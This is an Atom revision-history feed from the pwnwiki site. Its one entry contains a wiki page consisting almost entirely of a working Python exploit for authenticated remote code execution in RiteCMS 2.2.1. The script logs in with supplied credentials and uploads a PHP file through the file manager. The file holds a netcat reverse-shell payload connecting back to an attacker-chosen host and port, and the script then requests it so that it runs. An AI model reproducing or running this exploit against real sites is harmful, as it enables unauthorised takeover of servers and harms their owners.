<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=RiteCMS_2.2.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>RiteCMS 2.2.1 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=RiteCMS_2.2.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=RiteCMS_2.2.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T05:08:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=RiteCMS_2.2.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1281&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution # Date: 2020-07-03 # Exploit Author: H0j3n # Vendor Homepage: http://ritecms.com/ # Software...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=RiteCMS_2.2.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1281&amp;oldid=prev"/>
		<updated>2021-04-08T09:55:56Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution # Date: 2020-07-03 # Exploit Author: H0j3n # Vendor Homepage: http://ritecms.com/ # Software...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution&lt;br /&gt;
# Date: 2020-07-03&lt;br /&gt;
# Exploit Author: H0j3n&lt;br /&gt;
# Vendor Homepage: http://ritecms.com/&lt;br /&gt;
# Software Link: http://sourceforge.net/projects/ritecms/files/ritecms_2.2.1.zip/download&lt;br /&gt;
# Version: 2.2.1&lt;br /&gt;
# Tested on: Linux&lt;br /&gt;
# Reference: https://www.exploit-db.com/exploits/48636&lt;br /&gt;
&lt;br /&gt;
# !/usr/bin/python&lt;br /&gt;
# coding=utf-8&lt;br /&gt;
import requests,sys,base64,os&lt;br /&gt;
from colorama import Fore, Back, Style&lt;br /&gt;
from requests_toolbelt.multipart.encoder import MultipartEncoder&lt;br /&gt;
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
# Variable&lt;br /&gt;
CONTENT = '''&amp;lt;form action=&amp;quot;index.php&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
# Header&lt;br /&gt;
def header():&lt;br /&gt;
	top = cyan('''&lt;br /&gt;
 \t _____  _ _        _____ __  __  _____ &lt;br /&gt;
 \t|  __ \(_) |      / ____|  \/  |/ ____|&lt;br /&gt;
 \t| |__) |_| |_ ___| |    | \  / | (___              ___    ___   ___&lt;br /&gt;
 \t|  _  /| | __/ _ \ |    | |\/| |\___ \     _  __  |_  |  |_  | &amp;lt;  /&lt;br /&gt;
 \t| | \ \| | ||  __/ |____| |  | |____) |   | |/ / / __/_ / __/_ / / &lt;br /&gt;
 \t|_|  \_\_|\__\___|\_____|_|  |_|_____/    |___/ /____(_)____(_)_/                                      &lt;br /&gt;
''')&lt;br /&gt;
    	return top &lt;br /&gt;
&lt;br /&gt;
def info():&lt;br /&gt;
	top = cyan('''&lt;br /&gt;
[+] IP : {0}&lt;br /&gt;
[+] USERNAME : {1}&lt;br /&gt;
[+] PASSWORD : {2}&lt;br /&gt;
'''.format(IP,USER,PASS))&lt;br /&gt;
&lt;br /&gt;
	return top&lt;br /&gt;
    &lt;br /&gt;
# Request Function&lt;br /&gt;
# Color Function&lt;br /&gt;
def cyan(STRING):&lt;br /&gt;
    return Style.BRIGHT+Fore.CYAN+STRING+Fore.RESET&lt;br /&gt;
    &lt;br /&gt;
def red(STRING):&lt;br /&gt;
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
# Main    	&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
	print header()&lt;br /&gt;
	print &amp;quot;\t--------------------------------------------------------------&amp;quot;&lt;br /&gt;
        print &amp;quot;\t|  RiteCMS v2.2.1 - Authenticated Remote Code Execution      |&amp;quot;&lt;br /&gt;
	print &amp;quot;\t--------------------------------------------------------------&amp;quot;&lt;br /&gt;
	print &amp;quot;\t| Reference : https://www.exploit-db.com/exploits/48636      |&amp;quot;&lt;br /&gt;
	print &amp;quot;\t| By        : H0j3n                                          |&amp;quot;&lt;br /&gt;
	print &amp;quot;\t--------------------------------------------------------------&amp;quot;&lt;br /&gt;
	if len(sys.argv) == 1:&lt;br /&gt;
		print red(&amp;quot;[+] Usage :\t\t python %s http://10.10.10.10 admin:admin&amp;quot; % sys.argv[0])&lt;br /&gt;
		&lt;br /&gt;
		print cyan(&amp;quot;\n[-] Please Put IP &amp;amp; Credentials&amp;quot;)&lt;br /&gt;
		sys.exit(-1)&lt;br /&gt;
	if len(sys.argv) == 2:&lt;br /&gt;
		print red(&amp;quot;[+] Usage :\t\t python %s http://10.10.10.10 admin:admin&amp;quot; % sys.argv[0])&lt;br /&gt;
		&lt;br /&gt;
		print cyan(&amp;quot;\n[-] Please Put Credentials&amp;quot;)&lt;br /&gt;
		sys.exit(-1)&lt;br /&gt;
	if len(sys.argv) &amp;gt; 3:&lt;br /&gt;
		print red(&amp;quot;[+] Usage :\t\t python %s http://10.10.10.10 admin:admin&amp;quot; % sys.argv[0])&lt;br /&gt;
		&lt;br /&gt;
		print cyan(&amp;quot;\n[-] Only 2 arguments needed please see the usage!&amp;quot;)&lt;br /&gt;
		sys.exit(-1)	&lt;br /&gt;
	IP = sys.argv[1]&lt;br /&gt;
	USER,PASS = sys.argv[2].split(&amp;quot;:&amp;quot;)&lt;br /&gt;
	print info()&lt;br /&gt;
&lt;br /&gt;
	URL='{0}/cms/index.php'.format(IP)&lt;br /&gt;
	URL_UPLOAD = URL + '?mode=filemanager&amp;amp;action=upload&amp;amp;directory=media'&lt;br /&gt;
&lt;br /&gt;
	HEAD = {&amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36&amp;quot;}&lt;br /&gt;
	LOG_INFO = {&amp;quot;username&amp;quot; : USER, &amp;quot;userpw&amp;quot; : PASS}&lt;br /&gt;
	try:&lt;br /&gt;
		with requests.Session() as SESSION:&lt;br /&gt;
		    SESSION.get(URL)&lt;br /&gt;
		    SESSION.post(URL, data=LOG_INFO, headers=HEAD,allow_redirects=False)&lt;br /&gt;
	except:&lt;br /&gt;
		print red(&amp;quot;[-] Check the URL!&amp;quot;)&lt;br /&gt;
		sys.exit(-1)		&lt;br /&gt;
	if CONTENT in str(SESSION.get(URL_UPLOAD).text):&lt;br /&gt;
		print red(&amp;quot;[-] Cannot Login!&amp;quot;)&lt;br /&gt;
		sys.exit(-1)	&lt;br /&gt;
	else:&lt;br /&gt;
		print cyan(&amp;quot;[+] Credentials Working!&amp;quot;)&lt;br /&gt;
	LHOST = str(raw_input(&amp;quot;Enter LHOST : &amp;quot;))&lt;br /&gt;
	LPORT = str(raw_input(&amp;quot;Enter LPORT : &amp;quot;))&lt;br /&gt;
	FILENAME = str(raw_input(&amp;quot;Enter FileName (include.php) : &amp;quot;))&lt;br /&gt;
	PAYLOAD = &amp;quot;&amp;lt;?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc {0} {1} &amp;gt;/tmp/f'); ?&amp;gt;&amp;quot;.format(LHOST,LPORT)&lt;br /&gt;
	FORM_DATA = {&lt;br /&gt;
	    'mode': (None,'filemanager'),&lt;br /&gt;
	    'file': (FILENAME, PAYLOAD),&lt;br /&gt;
	    'directory': (None, 'media'),&lt;br /&gt;
	    'file_name': (None, ''),&lt;br /&gt;
	    'upload_mode': (None, '1'),&lt;br /&gt;
	    'resize_xy': (None, 'x'),&lt;br /&gt;
	    'resize': (None, '640'),&lt;br /&gt;
	    'compression': (None, '80'),&lt;br /&gt;
	    'thumbnail_resize_xy': (None, 'x'),&lt;br /&gt;
	    'thumbnail_resize': (None, '150'),&lt;br /&gt;
	    'thumbnail_compression': (None, '70'),&lt;br /&gt;
	    'upload_file_submit': (None, 'OK - Upload file')&lt;br /&gt;
	}&lt;br /&gt;
	HEADER_UPLOAD = {&lt;br /&gt;
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',&lt;br /&gt;
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',&lt;br /&gt;
	'Accept-Language': 'en-US,en;q=0.5',&lt;br /&gt;
	'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
	'Referer': URL_UPLOAD&lt;br /&gt;
	}&lt;br /&gt;
	response = SESSION.post(URL,files=FORM_DATA,headers=HEADER_UPLOAD)&lt;br /&gt;
	if FILENAME in response.text:&lt;br /&gt;
		print cyan(&amp;quot;\n[+] File uploaded and can be found!&amp;quot;)&lt;br /&gt;
	else:&lt;br /&gt;
		print red(&amp;quot;[-] File cannot be found or use different file name!&amp;quot;)&lt;br /&gt;
		sys.exit(-1)&lt;br /&gt;
	URL_GET = IP + '/media/{0}'.format(FILENAME)&lt;br /&gt;
	OPTIONS = str(raw_input(&amp;quot;Exploit Now (y/n)?&amp;quot;))&lt;br /&gt;
	print cyan(&amp;quot;\nW0rk1ng!!! Enjoy :)&amp;quot;)&lt;br /&gt;
	SESSION.get(URL_GET)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>